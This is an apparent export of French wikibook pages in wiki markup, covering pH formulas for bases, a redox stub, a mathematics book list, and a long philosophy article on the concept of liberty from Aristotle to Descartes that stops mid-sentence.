[\hbox{HA}]}</math> * <math> \rm{pH} = pK_a/2-\rm{log}[\hbox{HA}]/2 \ \ \ ,</math> où le <math>pK_a</math> est celui de l'acide === Cas d'une base forte === <math>\hbox{B} + \hbox{H}_2\hbox{O} \Longrightarrow \hbox{OH}^- + \hbox{BH}^+</math> * On néglige l'ionisation de l'eau :<br /><math> \Rightarrow [\hbox{OH}^-] = [\hbox{B}]</math> * On sait que : <math>\hbox{K}_e = [\hbox{H}_3\hbox{O}^+]\times[\hbox{OH}^-] </math><br /><math>\Rightarrow [\hbox{H}_3\hbox{O}^+] = \frac{\hbox{K}_e}{[\hbox{OH}^-]}</math> * <math> \rm{pH} = -\rm{log}\left[{H}_3\hbox{O}^+ \right] = -\rm{log}\frac{\hbox{K}_e}{[\hbox{OH}^-]} = -\rm{log}\frac{\hbox{K}_e}{[\hbox{B}]}</math> <math> \rm{pH} = 14 + \rm{log}[\hbox{B}] </math> === Cas d'une base faible === <math>\hbox{B} + \hbox{H}_2\hbox{O} \Leftrightarrow \hbox{OH}^- + \hbox{BH}^+</math> *<math>\hbox{K}_b = \frac{[\hbox{BH}^+][\hbox{OH}^-]}{[\hbox{B}]}</math> * Om peut négliger l'ionisation de l'eau, ainsi :<br /><math>\hbox{K}_b = \frac{[\hbox{OH}^-]^2}{[\hbox{B}]}</math><br /><math>\Rightarrow [\hbox{OH}^-] = \sqrt{\hbox{K}_b \times [\hbox{B}]}</math> * On sait que : <math>\hbox{K}_e = [\hbox{H}_3\hbox{O}^+]\times[\hbox{OH}^-] </math><br /><math>\Rightarrow [\hbox{H}_3\hbox{O}^+] = \frac{\hbox{K}_e}{[\hbox{OH}^-]}</math> *<math> \rm{pH} = -\rm{log}\left[{H}_3\hbox{O}^+ \right] = -\rm{log}\frac{\hbox{K}_e}{[\hbox{OH}^-]} = -\rm{log}\frac{\hbox{K}_e}{\sqrt{\hbox{K}_b \times [\hbox{B}]}}</math> *<math> \rm{pH} = -\rm{log}\hbox{K}_e + \rm{log}/2 + \rm{log}[\hbox{B}]/2 </math> *<math> \rm{pH} = 7+pK_a/2+\rm{log}[\hbox{B}]/2 \ \ \ ,</math> où le <math>pK_a</math> est celui de l'acide === Cas d'une solution tampon === Réactions Rédox (Chimie générale) 228 41785 2006-05-08T10:07:58Z 83.112.51.166 /* Réaction d'oxydoréduction en solution aqueuse */ {{Chimiegénérale}} == Généralité == Une réaction d'oxydoréduction est un transfert d'un ou plusieurs électrons entre l'oxydant du couple ox1/red1 et le réducteur de l'autre couple ox2/red2. Si la réaction a lieu entre l'oxydant 1 et le réducteur 2, l'équation s'écrit :<br> <center>ox1 + red2 --> red1 + ox2</center> == Couple oxydant/réducteur == == Réaction d'oxydoréduction en solution aqueuse == Mathématiques 231 43522 2006-05-31T08:46:39Z Cdang 1202 scilab Liste des livres ou manuels concernant les [[w:mathématiques|mathématiques]]. == Pour calculer == *[[S'initier au boulier en 10 leçons]][[image:Green.png]] *[[Faire une addition à la main]] *[[Faire une multiplication à la main]] * [[Découvrir Scilab]] {{50}} == Des cours== *[[Algèbre]] *[[Analyse]] *[[Algèbre linéaire]] *[[Algèbre de Boole]] *[[Fonction]] == Histoire == *[[Étude de l'oeuvre mathématique de Lazare Carnot]] [[Catégorie:Mathématiques|*]] Philosophie/Liberté 233 46090 2006-06-27T18:54:51Z Guillaumito 46 [[Liberté]] déplacé vers [[Philosophie/Liberté]]: Convention de nommage {{SommairePhilo}} La '''liberté''' est une notion qui désigne d'une manière négative l'absence de soumission, de servitude et de détermination, i.e. qu'elle est une notion qui qualifie l'indépendance de [[homo sapiens|l'être humain]] ; d'une manière positive, elle désigne l'autonomie et la spontanéité d'un [[sujet]] [[raison|rationnel]], i.e. qu'elle qualifie les comportements humains [[volonté|volontaires]] et en constitue la condition. Cette notion est à la fois conçue comme une [[valeur]] abstraite et normative de l'[[action]] humaine et comme une [[réalité]] concrète et vécue. Ces deux perspectives se recoupent de diverses manières et peuvent provoquer des erreurs de catégories. Il existe ainsi de nombreuses confusions possibles à propos du terme de liberté. Il faut donc prendre soin de distinguer les différents sens de ce mot. La liberté peut constituer un attribut de l'[[être]] humain, de sa [[volonté]], et être la condition de droits naturels ou positifs, mais aussi de devoirs ; la réalisation effective de l'acte volontaire peut néanmoins comporter une dimension vécue que l'on ne saurait réduire à ce qui précède. Ces deux plans de l'existence humaine ne sont pas nécessairement compatibles : par exemple, l'existence des libertés juridiques est constatable, alors que la [[réalité]] (son existence dans nos actes) et l'[[essence (philosophie)|essence]] (la conception que nous nous en faisons) de la liberté posent problème. Le premier point peut faire l'objet d'une enquête socio-politique ; son fondement métaphysique et le second point concernent plus particulièrement le problème philosophique de la liberté. Cet article sera donc divisé en deux parties pour en faciliter la lecture : une [[#ancre_1|partie philosophique]], traitant de ce qu'il y a de métaphysique dans la notion de liberté, et une [[#ancre_2|partie sociologique]]. Il faut cependant garder à l'esprit que les deux aspects se recoupent. Remarque : pour une introduction générale à cette notion, on peut lire du chapitre ''"Un concept clef de la métaphysique"'' à ''"Les sens philosophiques fondamentaux du mot liberté"''. Les chapitres suivants permettent d'approfondir la notion par la connaissance de ce que des philosophes en on dit et par la diversité des points de vue. <font id="ancre_1"> </font> ==Le [[concept]] de liberté en [[philosophie]]== ===Un concept clef de la [[métaphysique]]=== La question de la liberté peut être considérée comme la question [[métaphysique]] par excellence dans la mesure où elle concerne le statut de l'[[homme]] au sein de la [[nature]]. La liberté qualifie en effet la relation de l'homme en tant qu'agent et du [[monde]] [[physique]], relation notamment considérée dans son rapport à un déterminisme supposé ou réel. Cette question concerne donc particulièrement l'immanence et la transcendance de la volonté humaine par rapport au monde. La liberté s'oppose en général (ce n'est donc pas toujours le cas) au [[déterminisme]], au [[fatalisme]] et à toute doctrine qui soutient la thèse de la nécessité du devenir. Le concept de liberté divise très schématiquement les philosophes en deux camps : ceux qui en font le fondement de l'action et de la morale humaines ([[Épicure]], [[Descartes]], [[Kant]]), et ceux qui nient une quelconque transcendance de la volonté par rapport à des déterminismes telle que la sensibilité ([[Démocrite]], [[Spinoza]], [[Friedrich Nietzsche|Nietzsche]]) : :''Il existait deux opinions sur lesquelles se partageaient les anciens philosophes, les uns pensant que tout se produit par le destin, en sorte que ce destin apportait la force de la nécessité (Démocrite, Héraclite, Empédocle, Aristote étaient de cet avis), les autres pour qui les mouvements volontaires de l’âme existaient sans aucune intervention du destin ; Chrysipe, en position d’arbitre officieux, me paraît avoir choisi la position intermédiaire ; mais ils se rattache plutôt à ceux qui veulent voir les mouvements de l’âme libérés de la nécessité.'' ([[Cicéron]], ''Du destin,'' §39). On dirait aujourd'hui qu'il y a une opposition entre physicalisme et mentalisme, i.e. entre la [[causalité]] physique (physicalisme) à laquelle tous les êtres peuvent être réduits et la causalité mentale (mentalisme), qui peut être une théorie matérialiste, tout en reconnaissant une action propre du mental. Dans le premier cas, il s'agit d'expliquer comment on peut naturaliser la [[volonté]], sans reconduire un [[dualisme]] [[métaphysique]] classique, et comment il est encore possible de parler d'action et de responsabilité, alors que l'on en a supprimé la condition ; dans le second cas, il s'agit plutôt d'expliquer comment une causalité mentale est possible qui évite aussi ce dualisme souvent difficile à rendre intelligible. Un des points les plus intéressants que met ainsi en lumière cette opposition, c'est le caractère souvent difficile à déterminer du concept de liberté. ===Origine et analyses du problème=== Le problème de la liberté surgit naturellement quand la [[raison]] humaine cherche à unifier les différents éléments de sa représentation du [[monde]]. En effet, si l'explication philosophique comprend la [[réalité]] dans son intégralité, au moins idéalement (et au contraire des [[science]]s qui ont une partie seulement du monde pour [[objet]]), alors un effort d'unification de notre connaissance par une causalité unique est exigible, et cela afin d'éviter les contradictions qui découle de l'hypothèse de l'existence de plusieurs causalités (psychique et physique) : il semble en effet impossible de penser l'interaction de deux causalités hétérogènes. Ce problème a particulièrement sollicité la reflexion des philosophes de l'Antiquité. La physique hellénistique est ainsi nettement [[déterminisme|déterministe]]. Mais cette unité causale a soulevé et soulève encore de jours des problèmes : si on unit les trois parties de la connaissance (physique, éthique, logique), et aujourd'hui les sciences humaines et les sciences de la nature, comment résoudre l'antagonisme entre destin et liberté ? Le problème qui se pose est essentiellement d'ordre [[morale|moral]]. [[épicure|Epicure]] fut contraint d'inventer le ''clinamen'', et les [[stoïcisme|stoïciens]] inventèrent des raisonnements très subtils pour tenter d'échapper à ce qui ressemble à une conséquence inévitable de ce qu'on appelle aujourd'hui le physicalisme. L'unité de nos représentations serait alors une unité [[logique]]. Mais la question se pose : si tout dépend du destin, comment certaines choses peuvent-elles encore dépendre de nous ? Ou bien la [[nature]] est seule maîtresse des choses, ou bien l'homme est maître lui aussi au sein de la nature. Cette contradiction dans notre [[connaissance]] est la troisième antinomie [[Emmanuel Kant|kantienne]] : suis-je libre, ou suis-je conduit par le destin ? La nature est ici entendue comme un pur enchaînement causal ; il s'agit alors de concilier les deux affirmations : [[responsabilité]] [[morale]] et [[acte|actes]] déterminés. Si on nie la causalité naturelle, on fait apparaître un [[concept]] de liberté qui implique la nouveauté absolue dans l'ordre de la nature : la liberté humaine doit pouvoir ouvrir des possibles en produisant des actions non-déterminées, indépendantes notamment des inclinations de notre sensibilité. Notre volonté n'a alors aucune cause antécédente. Mais dans ce cas, la liberté n'est pas une [[réalité]] intelligible : la liberté sort du [[néant]], elle une sorte de [[miracle]], d'où le caractère presque indicible de ce concept, puisque la liberté semble être dans ce cas au-delà de la portée de l'intellect humain. Ainsi, en cherchant à unifier nos [[connaissance]]s, soit on fait de l'homme un être déterminé, dont la volonté est immanente à la nature (donc on cherche à naturaliser l'humain), soit on fait de l'homme un être transcendant, irréductible en particulier à sa [[nature]] animale. ===Définition et critiques=== Une [[définition]] du sens commun serait que la liberté c'est faire ce qu'on désire sans renconter d'obstacle. C'est l'absence de contrainte et l'indépendance, comme, par exemple, le vagabond non assujetti à un ordre social ([[Arthur Rimbaud]], [[Jack Kerouac]], etc). [[Carmen]], dit, dans l'opéra de [[Georges Bizet]] : "Ce que je veux, c'est être libre et faire ce qui me plaît", "avoir pour pays l'univers et pour loi sa volonté". C'est l'ivresse de la liberté : *un certain sentiment de liberté peut accompagner l'acte volontaire, et même lorsque l'action est empêchée, il nous reste le sentiment que c'est nous qui décidons de la direction de notre volonté ; *le sentiment de la liberté peut naître de l'allègement des contraintes sociales, par exemple dans le [[temps]] festif (consommation excessive, démesurée), par opposition au temps ouvré (travail et production). La [[hiérarchie]] sociale est renversée, comme dans les [[saturnales]] ou le [[carnaval]]. Mais cette liberté ''n'est pas'' la liberté au sens philosophique. En effet, contre la liberté indépendance, il existe au moins deux types de critiques : *une critique moraliste : cette liberté relève de la licence, i. e. de l'abandon au [[désir]]. Or, il n'y a pas de liberté sans loi ([[Rousseau]], [[Emmanuel Kant]]), car la liberté de tous serait en ce sens contradictoire : les désirs universalisés s'annuleraient. La loi est donc nécessaire et il faut limiter l'extension de la liberté pour garantir son exercice. Ces limites sont dans l'intérêt même de la liberté, pour éviter la [[tyrannie]], les conflits et l'esclavage : :''On pourrait, sur ce qui précède, ajouter à l'acquis de l’état civil la liberté morale qui seule rend l'homme vraiment maître de lui; car l’impulsion du seul appétit est esclavage, et l'obéissance à la loi qu'on s'est prescrite est liberté.'' ([[Rousseau]], ''Le contrat social''''). On remarque que dans cette conception philosophique de la liberté, les limites ne sont pas des limites contraignant la liberté de la volonté humaine ; ces limites définissent en réalité un domaine d'action où la liberté peut exister, ce qui est tout autre chose. *une critique [[déterminisme|déterministe]] : s'abandonner à ses [[désir|désirs]], n'est-ce pas leur obéir, et dès lors un tel abandon ne relève-t-il pas d'une forme déguisée de déterminisme ? Nous serions alors victimes d'une illusion de [[libre arbitre]] : nous aurions une fausse [[conscience]] de la liberté de notre [[volonté]] parce que nous ignorons les véritables causes qui nous font agir. Ainsi, [[Spinoza]] écrit dans [[L'Ethique]] : :&laquo;&nbsp;''Telle est cette liberté humaine que tous se vantent de posséder et qui consiste en cela seul que les hommes ont conscience de leurs appétits et ignorent les causes qui les déterminent. Un enfant croit librement appéter le lait, un jeune garçon irrité vouloir se venger et, s'il est poltron, vouloir fuir. Un ivrogne croit dire par un libre décret de son âme ce qu'ensuite, revenu à la sobriété, il aurait voulu taire. De même un délirant, un bavard, et bien d'autres de même farine, croient agir par un libre décret de l'âme et non se laisser contraindre''&nbsp;&raquo;. [[Nietzsche]] reprendra cette critique : :''Aussi longtemps que nous ne nous sentons pas dépendre de quoi que ce soit, nous nous estimons indépendants : sophisme qui montre combien l'homme est orgueilleux et despotique. Car il admet ici qu'en toutes circonstances il remarquerait et reconnaîtrait sa dépendance dès qu'il la subirait, son postulat étant qu'il vit habituellement dans l'indépendance et qu'il éprouverait aussitôt une contradiction dans ses sentiments s'il venait exceptionnellement à la perdre.'' Ces deux critiques mettent en lumière plusieurs points importants. En premier lieu, la liberté ne peut se réduire à l'indépendance par rapport au [[monde]] extérieur ; il faut également une autonomie intérieure réelle par laquelle nous nous donnons volontairement des règles d'actions. Ainsi, alors que l'indépendance concerne les causes externes (définissant ce que je ''peux''), l'autonomie concerne les causes qui sont la source de la [[volonté]] (définissant ce que je ''veux''). La réflexion philosophique intériorise le problème et cherche à en trouver les conditions internes, en niant que la liberté soit dépendante en quoique ce soit du monde extérieur. En second lieu, il n'est pas certain que tout lien soit contraire à l'indépendance. Être ''relié'' n'est pas toujours négatif, car l'intersubjectivité est peut-être plus fondamentale que l'indépendance du moi, dans la mesure où le moi est relation aux autres. Ainsi, pour [[Friedrich Nietzsche]] (et de même pour [[Hegel]]), le ''toi'' est antérieur au ''moi''. Il ne semble donc pas possible de concevoir une liberté indépendance comme un état monadique, où l'[[individu]] serait une totalité fermée, atome qui n'aurait que des relations qui lui seraient externes ou étrangères. Les relations humaines seraient donc plutôt à la fois des sources de conflits et d'aliénation, et des conditions de liberté sociale et [[politique]]. ===Les sens philosophiques fondamentaux du mot "liberté"=== Pour faciliter l'exposition et la compréhension du problème philosophique de la liberté, il est commode de partir de quelques modèles fondamentaux, modèles qui sont soit des conceptions majeures, soit des moments importants de l'histoire de la pensée occidentale (cette liste n'est donc pas fermée) : #La liberté comme libre arbitre de la volonté ; #La liberté d'indifférence. #La liberté transcendantale. #La liberté morale #La liberté jaillissement #La liberté existentielle 1. '''[[Libre arbitre]]''': propriété de la volonté (''actus proprius''), faculté de choix qui associe raison et volonté. C'est l'union de la spontanéité et de l'intelligence. *Spontanéité : c'est le fait de trouver à l'intérieur de soi le principe de ses mouvements. Tous les animaux (en tant que mus par de désirs internes) sont en ce sens des êtres animés de manière spontanée. *Intelligence : par l'intelligence, faculté de choix, nous agissons par nous-même en connaissance de cause ; nous avons un discernement de nos actes. ''La liberté, c'est donc la spontanéité éclairée par la [[raison]]''' 2. '''Liberté d'indifférence''' (voir [[Libre arbitre]]) *Selon [[René Descartes|Descartes]], c'est "le plus bas degré de la liberté". 3. '''Liberté transcendantale''' : c'est la faculté par laquelle l'individu peut disposer de lui-même et déterminer sa volonté en l'absence de toute contrainte physique, c'est-à-dire indépendamment de la causalité naturelle (chez [[Kant]] par exemple). Est dit libre l'homme qui se gouverne selon sa [[raison]]. Cela sous-entend que l'individu doit être en mesure de faire preuve de discernement et d'un grand sens critique : l'homme libre se donne à lui-même des normes cognitives. Cette liberté a deux conditions : l'indépendance et la spontanéité. *Indépendance: notre arbitre est indépendant à l'égard des contraintes des penchants de la sensibilité. Si l'homme est affecté par des penchants qui incline son arbitre, il peut les mettre de côté, les suspendre, pour agir d'après d'autres motifs issus de la raison. Dans ce cas, l'arbitre et la raison transcendent le monde en dépassant la sensibilité. C'est une condition fondamentale de la liberté : l'activité de la volonté met en cause la passivité de notre rapport sensible au monde. *Spontanéité de la raison : c'est la faculté de créer du nouveau, d'ouvrir des possibles : la raison permet de poser un acte non déterminé par des causes passées. Il y a alors invention et surgissement de nouveauté. Dans ce cas, la raison se donne à elle-même sa loi, elle légifère sans rien emprunter à la nature. Si cette liberté existe, alors il y a une différence radicale entre l'homme et la nature. 4. '''Liberté morale''' 5. '''Liberté jaillissement''' 6. '''Liberté existentielle''' ===Origine et développement du concept de liberté === La liberté telle que nous l'entendons (comme propriété métaphysique ou comme condition transcendantale de la [[volonté]]) était ignorée des [[Ancien]]s. Cela tient d'abord au fait que la volonté n'est pas pour eux une [[faculté]] à part du psychisme, et que le psychisme n'est pas lui-même une entité séparée de l'organisme (cf., par exemple, [[Aristote]], ''Traité de l'âme''). L'âme, chez les [[Grec]]s, est donc un principe d'animation du vivant (le cheval a donc une âme), alors que la comparaison pour nous de l'âme et d'un être vivant concrêt est bien difficile : l'âme moderne, c'est plutôt l'esprit, la pensée ou la conscience, ou quelque chose d'intérieur qui peut se disinguer de la vie animale ; mais ce n'est pas en général quelque chose que l'on pourrait facilement exemplifiée par un cheval (mais ce point devrait sans doute être discuté d'après des thèses récentes sur l'intelligence et la sensibilité animales). Une conséquence importante de cette conception ancienne de l'âme, c'est que l'action, ou au moins certains types d'action, a, pour les Grecs, une dignité moindre ; ce que montre par exemple l'esclavage et l'artisanat. Par nature, un être qui [[travail|travaille]] n'est pas libre ([[Aristote]], '''Politiques''') car son activité déforme son corps et altère en conséquence les qualités de son âme. Ce qui a de la valeur, la finalité par excellence de l'activité humaine, c'est la [[pensée]], l'activité de l'intellect, conçue comme la finalité et le vrai bien de l'âme : la liberté de l'homme serait donc dans la contemplation qui nécessite d'ailleurs des conditions de vie d'hommes libres. Cette liberté n'est pas contraire à la nature et à sa nécessité, puisqu'elle est la réalisation parfaite de l'essence de l'homme (il ne faut donc pas confondre l'emploi qui est fait ici du mot liberté avec d'autres emplois qui sont faits ailleurs dans l'article). Le [[christianisme]] vient ensuite modifier cette conception, avec l'idée d'un [[dieu]] qui est volonté et qui crée, l'idée d'un dieu artisan (cf. [[Paul de Tarse]]). Cette idée de l'artisan se rencontre déjà chez [[Platon]], mais ce n'est pas une conception créationnist : la [[théologie]] antique fait plutôt de Dieu un intellect non impliqué dans la création de la matière, même s'il peut y être engagé, par exemple pour y mettre de l'ordre. L'action va donc prendre de la valeur, ou changer de valeur, dans la mesure où le libre arbitre est maintenat métaphysiquement valorisé : cette valorisation a une origine [[morale]], en particulier pour l'explication du [[péché]]. Le prix à payer de la [[théodicée]] (pour conserver la [[volonté]] juste de Dieu), c'est la malédiction de la liberté humaine, qui fait de l'homme un coupable par [[nature]]. Le ''liberum arbitrium'' chrétien apparaît nettement chez [[Augustin d'Hippone]] (''De Libero arbitrio''). Sa finalité était de fonder une théodicée ; ce concept permet en effet de disculper Dieu de la responsabilité du mal (c'est là l'invention de l'intériorisation du péché dénoncée par [[Friedrich Nietzsche]]). La motivation est donc théologique et non anthropologique. Par la suite, le libre-arbitre deviendra un trait fondamental de l'anthropologie de [[Thomas d'Aquin]]. On voit, par ce bref historique, que le problème de la liberté en [[Occident]] n'est pas séparable de l'[[histoire]] du [[concept]] de Dieu. Ceci est encore valable même au [[XXe siècle|XX<sup>e</sup> siècle]], chez [[Sartre]] par exemple (voir plus bas), lorsqu'il renverse le rapport de l'[[essence]] et de l'[[existence]]. ====[[Aristote]]==== La première analyse de ce que l'on peut appeler libre-arbitre (en tant que spontanéité rationnelle) se trouve chez [[Aristote]] dans l' ''Ethique à Nicomaque'', livre III. [[Platon]] avait probablement déjà conçu, dans ''[[La République]]'', une réflexion sur la liberté, mais cette liberté est plutôt d'ordre [[métaphysique]]. Ce point sera développé un peu plus loin. La réflexion d'Aristote se comprend d'après sa recherche de l'[[essence]] de la [[vertu]] : la vertu a trait aux actes volontaires. Mais quelle est l'essence du volontaire ? Pour le comprendre, il recherche ce qu'est l'involontaire de manière empirique et d'après ce qu'en dit le [[droit]]. Or, il y a deux causes de l'involontaire : #l'ignorance ; #la contrainte. 1. Aristote distingue deux sortes d'actes commis par ignorance : *quand l'ignorance accompagne l'[[acte]] sans en être la [[cause]] ; *quand l'acte est commis par ignorance, qui est donc cause de l'acte. Par exemple, si je suis ivre, je suis responsable de l'état irresponsable dans lequel je tombe. Pour les [[Grec]]s, l'ivresse double la peine. Mais si j'administre un poison en étant convaincu que c'est un remède, je pose un acte autre que celui qui est voulu ; je ne suis donc pas la cause de l'acte effectif. Je n'aurais pas agi ainsi si j'avais su ; et si j'avais su et que j'avais fait pareil, je serais responsable. 2. Chaque [[corps]] aspire à se reposer dans son lieu naturel : c'est une [[physique]] téléologique qui permet de comprendre ce qu'est la contrainte physique. Le [[feu]] monte pour retrouver le feu céleste. Il y a une spontanéité du [[mouvement]] naturel qui est un principe interne de mouvement. Il resulte de cela qu'une pierre qui monte subit un mouvement "non naturel" : elle subit une contrainte extérieure à sa nature. De même, nous agissons de nous-mêmes (efficience causale interne) ou contraint (efficience causale externe). On peut distinguer trois types d'actes : *actes spontanés : efficience du [[désir]], par exemple je désire une [[pomme]]. C'est une cause interne dont je suis responsable. *actes contraints : origine extérieure, sans ma collaboration. Mon efficience causale est anéantie ou paralysée. Par exemple, un prisonnier poings et pieds liés. *actes mixtes : des actes contraints et spontanés. Je dois agir par mon [[pouvoir]] d'action, mais sous la menace d'un tiers. La [[responsabilité]] est atténuée mais non abolie. Il est maintenant possible de préciser le [[concept]] de volontaire par inversion de ce qui a été dit : le volontaire c'est un acte spontané, accompli en [[connaissance]] de cause. Il y a la spontanéité du [[désir]] éclairé par l'intentionnalité de la [[raison]] : *agir par soi ; *en connaissance de cause. Comme on peut le constater, la réflexion d'Aristote porte sur les conditions de la responsabilité. Son [[idée]] de la liberté ressemble peu à l'idée [[moderne]] ; elle concerne surtout une [[âme]] qui est principe d'animation. A ce titre, puisqu'[[Aristote]] admet qu'un [[cheval]] puisse être vertueux, il peut sans doute également être dit libre (i.e. s'il avait la raison). Cela n'aurait rien d'incongru ; c'est seulement que notre conception de l'âme s'est trouvée mélée à des idées théologiques : notre idée de liberté se développe sous l'influence chrétienne. =====Les futurs contingents===== (voir aussi l'article [[fatalisme]] qui expose quelques raisonnements) Le problème des futurs contingents est un problème de logique qui se présente sous la forme d'une alternative. Aristote analyse la proposition suivante : ''il y aura une bataille demain ou il n'y aura pas de bataille demain''. Comme l'un ou l'autre est nécessairement vrai, il semble nécessaire que l'un arrive et pas l'autre. En conséquence, cette nécessité logique se traduirait par une nécessité des événements eux-mêmes. En réalité, selon Aristote, la nécessité ne porte que sur le ''ou'', ce qui fait que les parties de l'alternative ne sont pas nécessaires en elles-mêmes. ====[[Platon]]==== Platon raconte dans un mythe comment les âmes choisissent leur futur incarnation. Cela peut être interprété comme une conception [[métaphysique]] de la liberté, conception qui ne semble pas très courante dans l'[[Antiquité]] (on trouve une allusion très courte chez [[Cicéron]]) : :''Et l'on peut dire que parmi les âmes ainsi surprises, celles qui venaient du ciel n'étaient pas les moins nombreuses, parce qu'elles n'avaient pas été éprouvées par les souffrances; au contraire, la plupart de celles qui arrivaient de la terre, ayant elles-mêmes souffert et vu souffrir les autres, ne faisaient point leur choix à la hâte. De là venait, ainsi que des hasards du tirage au sort, que la plupart des âmes échangeaient une bonne destinée pour une mauvaise ou inversement. Et aussi bien, si chaque fois qu'un homme naît à la vie terrestre il s'appliquait sainement à la philosophie, et que le sort ne l'appelât point à choisir parmi les derniers, il semble, d'après ce qu'on rapporte de l'au-delà, que non seulement il serait heureux ici-bas, mais que son voyage de ce monde en l'autre et son retour se feraient, non par l'âpre sentier souterrain, mais par la voie unie du ciel.'' ([[La République]], livre X). ====Période hellénistique==== =====[[épicure|Epicure]]===== Epicure a inventé la notion de [[clinamen]] pour éviter le déterminisme qui découle de sa physique. Voir à l'article [[épicure|Epicure]], section Physique. :''Epicure a introduit cette explication parce qu’il a craint que, si l’atome se déplaçait toujours en vertu d’une pesanteur naturelle et nécessaire, il n’y ait en nous aucune liberté [nihil liberum nobis esset] puisque l’âme ne serait animée [animus moveretur] que par la contrainte du mouvement des atomes. Démocrite, l’inventeur des atomes, a préféré cette solution selon laquelle tout se produit par la nécessité, plutôt que de priver les corps indivisibles de leur mouvement naturel.'' ([[Cicéron]], ''Du destin'', §23). =====[[Stoïcisme|Stoïciens]]===== Pour le ''fatum'' stoïcien, voir [[Fatalisme]] : ''J'appelle destin (fatum) ce que les Grecs appellent ''heimarménè'', c'est-à-dire l'ordre et la série des causes, quand une cause liée à une autre produit d'elle-même un effet. (....) On comprend dès lors que le destin n'est pas ce qu'entend la superstition, mais ce que dit la science, à savoir la cause éternelle des choses, en vertu de laquelle les faits passés sont arrivés, les présents arrivent et les futurs doivent arriver'' ([[Cicéron]], ''De la divination''). Aspect pratique de la liberté : il y a une dimension pratique de la liberté et une dimension qui concerne nos états psychologiques. Cette dimension concerne particulièrement les [[passion]]s de l'âme et la [[morale]]. La conception stoïcienne de la liberté est de ce point de vue une conception morale typique. *[[épictète|Epictète]] : :''De toutes les choses du monde, les unes dépendent de nous, les autres n'en dépendent pas. Celles qui en dépendent sont nos opinions, nos mouvements, nos désirs, nos inclinations, nos aversions; en un mot, toutes nos actions. Celles qui ne dépendent point de nous sont le corps, les biens, la réputation, les dignités ; en un mot, toutes les choses qui ne sont pas du nombre de nos actions. Les choses qui dépendent de nous sont libres par leur nature, rien ne peut ni les arrêter, ni leur faire obstacle; celles qui n'en dépendent pas sont faibles, esclaves, dépendantes, sujettes à mille obstacles et à mille inconvénients, et entièrement étrangères. Souviens-toi donc que, si tu crois libres les choses qui de leur nature sont esclaves, et propres à toi celles qui dépendent d'autrui, tu rencontreras à chaque pas des obstacles, tu seras affligé, troublé, et tu te plaindras des dieux et des hommes. Au lieu que si tu crois tien ce qui t'appartient en propre, et étranger ce qui est à autrui, jamais personne ne te forcera à faire ce que tu ne veux point, ni ne t'empêchera de faire ce que tu veux; tu ne te plaindras de personne; tu n'accuseras personne; tu ne feras rien, pas même la plus petite chose, malgré toi; personne ne te fera aucun mal, et tu n'auras point d'ennemi, car il ne t'arrivera rien de nuisible.'' (''Manuel'', 1). ====Augustin==== La liberté est pour Augustin correspondance entre la [[volonté]] humaine et la volonté divine ; elle n'est donc pas un choix, mais une sorte de nécessité à se conformer à l'ordre divin. Il existe toutefois deux sortes de liberté : la liberté parfaite qui précède la chute (épisode du [[péché]] originel) où l'homme est libre entièrement, parce qu'il fait de lui-même le [[bien]], qu'il est ce bien qu'il réalise ; une liberté imparfaite, après la chute, qui témoigne de la corruption de la [[nature]] humaine, autrement dit de la mauvaise utilisation de sa volonté. Quand l'homme est bon malgré tout, ce n'est pas de son fait, mais par la grâce de [[Dieu]] : :''Telle est notre liberté, lorsque nous nous soumettons à cette vérité; et c'est notre Dieu lui-même qui nous délivre de la mort, c'est-à-dire de l'état de péché. Car c'est la vérité elle-même, homme conversant avec les hommes, qui a dit à ceux qui croient en elle : "Si vous gardez ma parole, vous êtes vraiment mes disciples, et vous connaîtrez la vérité, et la vérité vous rendra libres".'' (Du libre-arbitre, livre 2, §13). ====[[Thomas d'Aquin]]==== Dans la scolastique, la liberté est une faculté de la [[raison]] et de la [[volonté]], i. e. une faculté de faculté ! Malgré cette curiosité, ce qui est souligné, c'est la collaboration de la raison et de la volonté. Pour comprendre ce concept chez Thomas d'Aquin, il faut se représenter l'âme divisée en deux parties : {| border="1" cellpadding="5" cellspacing="0" align="center" |+'''Les divisions de l'âme''' ! colspan="4" style="background:#efefef;" |'''Âme rationnelle''' ! colspan="2" style="background:#efefef;"|'''Âme irrationnelle''' |- ! colspan="3" | '''Rationalité cognitive''' |'''Rationalité appétitive''' |'''Cognitive''' |'''Appétitive''' |- |Intuitions des principes |Idée ou définition |Raisonnement |Volonté |Sensibilité |Désir |- ! colspan="3" | Objet universel | '''Objet : le bien en général, Dieu''' ! colspan="2" | Objet particulier |}</table> L'[[âme]] rationnelle est portée à l'universel ; c'est ce point qui permet de fonder la liberté. En effet, si les animaux sont déterminés ''ad unum'' (d'une façon unique), les hommes en revanche peuvent l'être de multiples façons : il y a un choix dans les possibles. L'instinct est une réponse déterminée à un stimulus ; il y a pas de choix. L'intelligence ouvre des possibles pour une situation donnée : il y a pour l'homme une multitude de comportements possibles. Ces choix sont ce qui constitue la liberté de l'âme. L'expression de cette liberté est la délibération qui est l'[[œuvre]] de la [[raison]], car elle présente à l'agent plusieurs représentations. '''Le choix est alors un acte de la [[volonté]] qui se détermine à tel ou tel possible.''' *Remarque: Comme on le voit dans le tableau proposé, une [[philosophie]] de la liberté implique une distinction entre la [[volonté]] et le [[désir]] : *le désir est inconscient de ses raisons et irresponsable ; il est velléitaire et n'implique pas l'[[action]] ; *la volonté est [[consciente]] (il y a un pourquoi), elle est constante et ferme. On constate dans l'ensemble que la volonté devient une puissance rationnelle. Elle n'est pas déterminée par des choses particulières qu'elle transcende. L'[[animal]], en revanche, est collé au particulier. En résumé, la notion de libre-arbitre, c'est : #la collaboration de la raison et de la volonté ; #l'ouverture des possibles et la délibération ; #le choix, fruit de la volonté L'horizon métaphysique de cette conception, c'est [[Dieu]]. La conception rationnelle de l'action donne pour le chrétien une dignité immanente à l'homme. En effet, la valorisation antique de la pensée ne permettait pas de valoriser le choix, car la pensée a une nécessité logique. La volonté, en revanche, permet le libre-arbitre humain. ====[[Descartes]]==== <br> *"Je ne puis pas me plaindre que Dieu ne m'a pas donné un libre arbitre, ou une volonté assez ample et parfaite, puisqu'en effet je l'expérimente si vague et si étendue, qu'elle n'est renfermée dans aucunes bornes." ([[Méditations Métaphysiques]], IV). *"La liberté de notre volonté se connaît sans preuves, par la seule expérience que nous en avons." La conception de la liberté de Descartes, qui s'oppose à l'augustinisme jusqu'à un certain point, nous fait parvenir ici au commencement de la conception [[moderne]] de l'[[individu]]. De ce point de vue, la liberté cartésienne a des conséquences morales et politiques considérables. ====[[Spinoza]]==== ====[[Leibniz]]==== [[Leibniz]] nie à la fois la nécessité et l'absolue liberté telle qu'elle est conçue chez [[Descartes]]. Il cherche 